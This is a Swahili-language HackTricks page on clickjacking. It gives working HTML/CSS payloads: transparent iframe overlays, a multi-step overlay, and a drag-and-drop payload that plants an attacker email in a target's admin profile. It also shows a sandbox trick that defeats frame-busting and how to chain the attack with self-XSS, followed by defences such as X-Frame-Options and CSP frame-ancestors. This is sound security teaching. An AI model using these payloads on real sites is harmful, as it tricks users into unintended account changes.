13 KiB
Clickjacking
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Tumia Trickest kuunda na kutumia mchakato wa kiotomatiki ulioendeshwa na zana za jamii za kisasa zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Ni nini Clickjacking
Katika shambulio la clickjacking, mtumiaji anadanganywa ili bonyeze kipengele kwenye ukurasa wa wavuti ambao ni isiyoonekana au imefichwa kama kipengele kingine. Udanganyifu huu unaweza kusababisha matokeo yasiyotarajiwa kwa mtumiaji, kama vile kupakua programu hasidi, kupelekwa kwenye kurasa za wavuti zenye nia mbaya, kutoa vibali au habari nyeti, uhamishaji wa pesa, au ununuzi wa bidhaa mtandaoni.
Mbinu ya kujaza fomu kabla
Marafiki ni rahisi kujaza thamani za uga wa fomu kwa kutumia vigezo vya GET wakati wa kupakia ukurasa. Mshambuliaji anaweza kutumia tabia hii vibaya kujaza fomu na data ya kiholela na kutuma mzigo wa clickjacking ili mtumiaji bonyeze kitufe cha Wasilisha.
Jaza fomu kwa Drag&Drop
Ikiwa unahitaji mtumiaji kujaza fomu lakini hauitaji kumuuliza moja kwa moja aandike habari fulani maalum (kama barua pepe na/au nenosiri maalum unayojua), unaweza tu kumuuliza aDrag&Drop kitu ambacho kitaiandika data yako iliyodhibitiwa kama katika mfano huu.
Payload ya Msingi
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload ya Hatua Nyingi
Kwa kawaida, mashambulizi ya clickjacking yanahusisha hatua moja tu, ambapo mtumiaji anabonyeza kitu bila kujua. Hata hivyo, kuna njia ya kufanya mashambulizi ya clickjacking kuwa na hatua nyingi. Hii inaweza kuwa muhimu hasa wakati unataka kufanya vitendo vingi kwa niaba ya mtumiaji bila kujulikana.
Kwa kufanya hivyo, unaweza kutumia JavaScript ili kutekeleza hatua nyingi za clickjacking. Kwa mfano, unaweza kuunda kifungo kinachofichwa kwenye ukurasa ambao mtumiaji anabonyeza bila kujua. Bonyeza hii inaweza kusababisha hatua nyingine, kama vile kubonyeza kifungo kingine au kuingiza data kwenye fomu.
Kwa njia hii, unaweza kufanya vitendo vingi vya clickjacking kwa mtumiaji bila wao kujua. Ni muhimu kutambua kuwa njia hii inaweza kuwa ngumu zaidi kutekeleza kuliko mashambulizi ya clickjacking ya hatua moja, lakini inaweza kuwa na athari kubwa zaidi.
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Kuvuta na Achia + Bonyeza mzigo
Clickjacking ni mbinu ya kudanganya ambapo mtumiaji anadanganywa kubonyeza kitu fulani kwenye ukurasa wa wavuti bila kujua. Mbinu hii inaweza kutumiwa kudhibiti vitendo vya mtumiaji au kuiba habari zao za siri.
Katika mbinu hii, tunatumia mchanganyiko wa vitendo vya kuvuta na kushusha (drag and drop) pamoja na bonyeza (click) ili kufanikisha clickjacking. Hatua zifuatazo zinaelezea jinsi ya kutekeleza mbinu hii:
- Tengeneza ukurasa wa wavuti ambao unajumuisha kitu ambacho unataka mtumiaji abonyeze bila kujua.
- Weka kitu hicho ndani ya kificho cha kuvuta na kushusha (drag and drop).
- Ficha kitu hicho kwa kutumia CSS ili kisionekane kwenye ukurasa.
- Weka kitufe cha bonyeza (click) juu ya kitu hicho kilichofichwa.
- Ficha kitufe cha bonyeza (click) kwa kutumia CSS ili kisionekane kwenye ukurasa.
- Wakati mtumiaji anapobonyeza kitu kingine kwenye ukurasa, hatua ya bonyeza (click) itatekelezwa kwenye kitu kilichofichwa badala ya kitu kilichoonekana.
Kwa kufuata hatua hizi, unaweza kutekeleza mbinu ya clickjacking kwa mafanikio. Ni muhimu kutambua kuwa mbinu hii inaweza kuwa na athari mbaya na inapaswa kutumiwa kwa madhumuni ya kielimu au kwa idhini ya mmiliki wa wavuti.
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Ikiwa umegundua shambulio la XSS ambalo linahitaji mtumiaji bonyeze kwenye kipengele fulani ili kuchochea XSS na ukurasa huo ni mdhaifu kwa clickjacking, unaweza kulitumia kudanganya mtumiaji abonyeze kitufe/kiungo.
Mfano:
Umeona self XSS katika baadhi ya maelezo ya siri ya akaunti (maelezo ambayo wewe pekee unaweza kuweka na kusoma). Ukurasa na fomu ya kuweka maelezo haya ni mdhaifu kwa Clickjacking na unaweza kuweka tayari fomu hiyo na vigezo vya GET.
__Mshambuliaji anaweza kuandaa shambulio la Clickjacking kwenye ukurasa huo kwa kuweka tayari fomu hiyo na XSS payload na kumdanganya mtumiaji abonyeze kitufe/kiungo. Hivyo, wakati fomu inapotumwa na thamani zinabadilishwa, mtumiaji atatekeleza XSS.
Mikakati ya Kupunguza Hatari ya Clickjacking
Ulinzi wa Upande wa Mteja
Script zinazotekelezwa upande wa mteja zinaweza kufanya hatua za kuzuia Clickjacking:
- Kuhakikisha dirisha la programu ni dirisha kuu au dirisha la juu.
- Kufanya fremu zote ziweze kuonekana.
- Kuzuia bonyeza kwenye fremu zisizoonekana.
- Kugundua na kuonya watumiaji juu ya jaribio la Clickjacking.
Hata hivyo, script za kuvunja fremu zinaweza kuzungukwa:
- Mipangilio ya Usalama ya Vivinjari: Baadhi ya vivinjari vinaweza kuzuia script hizi kulingana na mipangilio yao ya usalama au kutokuwepo kwa usaidizi wa JavaScript.
- Sifa ya
sandbox
ya iframe ya HTML5: Mshambuliaji anaweza kufanya script za kuvunja fremu kuwa haziwezi kwa kuweka sifa yasandbox
na thamani zaallow-forms
auallow-scripts
bilaallow-top-navigation
. Hii inazuia iframe kuhakiki ikiwa ni dirisha kuu, kwa mfano,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
allow-forms
na allow-scripts
huwezesha vitendo ndani ya iframe wakati inazuia urambazaji wa kiwango cha juu. Ili kuhakikisha utendaji unaokusudiwa wa tovuti inayolengwa, ruhusa za ziada kama vile allow-same-origin
na allow-modals
zinaweza kuwa muhimu, kulingana na aina ya shambulio. Ujumbe wa konsoli ya kivinjari unaweza kuongoza ni ruhusa zipi za kuruhusu.
Ulinzi wa Upande wa Seva
X-Frame-Options
Kichwa cha majibu cha HTTP cha X-Frame-Options
kinawajulisha vivinjari kuhusu uhalali wa kuonyesha ukurasa katika <frame>
au <iframe>
, kusaidia kuzuia Clickjacking:
X-Frame-Options: deny
- Hakuna kikoa kinaweza kuweka yaliyomo.X-Frame-Options: sameorigin
- Kikoa cha sasa tu kinaweza kuweka yaliyomo.X-Frame-Options: allow-from https://trusted.com
- Kikoa kilichotajwa tu kinaweza kuweka ukurasa.- Tafadhali kumbuka vikwazo: ikiwa kivinjari hakisaidii agizo hili, huenda halifanyi kazi. Baadhi ya vivinjari vinapendelea agizo la CSP la frame-ancestors.
Sera ya Usalama wa Yaliyomo (CSP) agizo la frame-ancestors
Agizo la frame-ancestors
katika CSP ni njia iliyopendekezwa ya kulinda dhidi ya Clickjacking:
frame-ancestors 'none'
- KamaX-Frame-Options: deny
.frame-ancestors 'self'
- KamaX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- KamaX-Frame-Options: allow-from
.
Kwa mfano, CSP ifuatayo inaruhusu tu kuweka kutoka kwa kikoa kimoja:
Content-Security-Policy: frame-ancestors 'self';
Maelezo zaidi na mifano ngumu zinaweza kupatikana katika hati ya CSP ya frame-ancestors na hati ya CSP ya frame-ancestors ya Mozilla.
Sera ya Usalama wa Yaliyomo (CSP) na child-src
na frame-src
Sera ya Usalama wa Yaliyomo (CSP) ni hatua ya usalama inayosaidia kuzuia Clickjacking na mashambulio mengine ya kuingiza nambari kwa kuelezea vyanzo vipi kivinjari kinapaswa kuruhusu kupakia yaliyomo.
Agizo la frame-src
- Linataja vyanzo halali kwa ajili ya fremu.
- Ni maalum zaidi kuliko agizo la
default-src
.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Sera hii inaruhusu fremu kutoka asili ileile (self) na https://trusted-website.com.
Mwongozo wa child-src
- Ilianzishwa katika kiwango cha CSP 2 kuweka vyanzo halali kwa wafanyakazi wa wavuti na fremu.
- Inafanya kazi kama chaguo-msingi kwa frame-src na worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Sera hii inaruhusu fremu na wafanyakazi kutoka asili ile ile (self) na https://trusted-website.com.
Maelezo ya Matumizi:
- Kupitwa na wakati: child-src inafanywa kuwa ya zamani badala ya frame-src na worker-src.
- Tabia ya Kurejea: Ikiwa frame-src haipo, child-src inatumika kama mbadala kwa fremu. Ikiwa zote mbili hazipo, default-src inatumika.
- Ufafanuzi wa Chanzo Imara: Jumuisha vyanzo vya kuaminika tu katika maagizo ili kuzuia unyanyasaji.
Skrini za JavaScript za Kuvunja Fremu
Ingawa sio kamili, skrini za kuvunja fremu zinazotegemea JavaScript zinaweza kutumika kuzuia ukurasa wa wavuti usiwekwe kwenye fremu. Mfano:
if (top !== self) {
top.location = self.location;
}
Kutumia Vitambulisho vya Anti-CSRF
- Uhakiki wa Vitambulisho: Tumia vitambulisho vya anti-CSRF katika programu za wavuti ili kuhakikisha kuwa maombi yanayobadilisha hali yanafanywa kwa makusudi na mtumiaji na sio kupitia ukurasa uliofungwa.
Marejeo
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Tumia Trickest kujenga na kutekeleza kwa urahisi mchakato wa kiotomatiki ulioendeshwa na zana za jamii za juu zaidi duniani.
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa katika HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.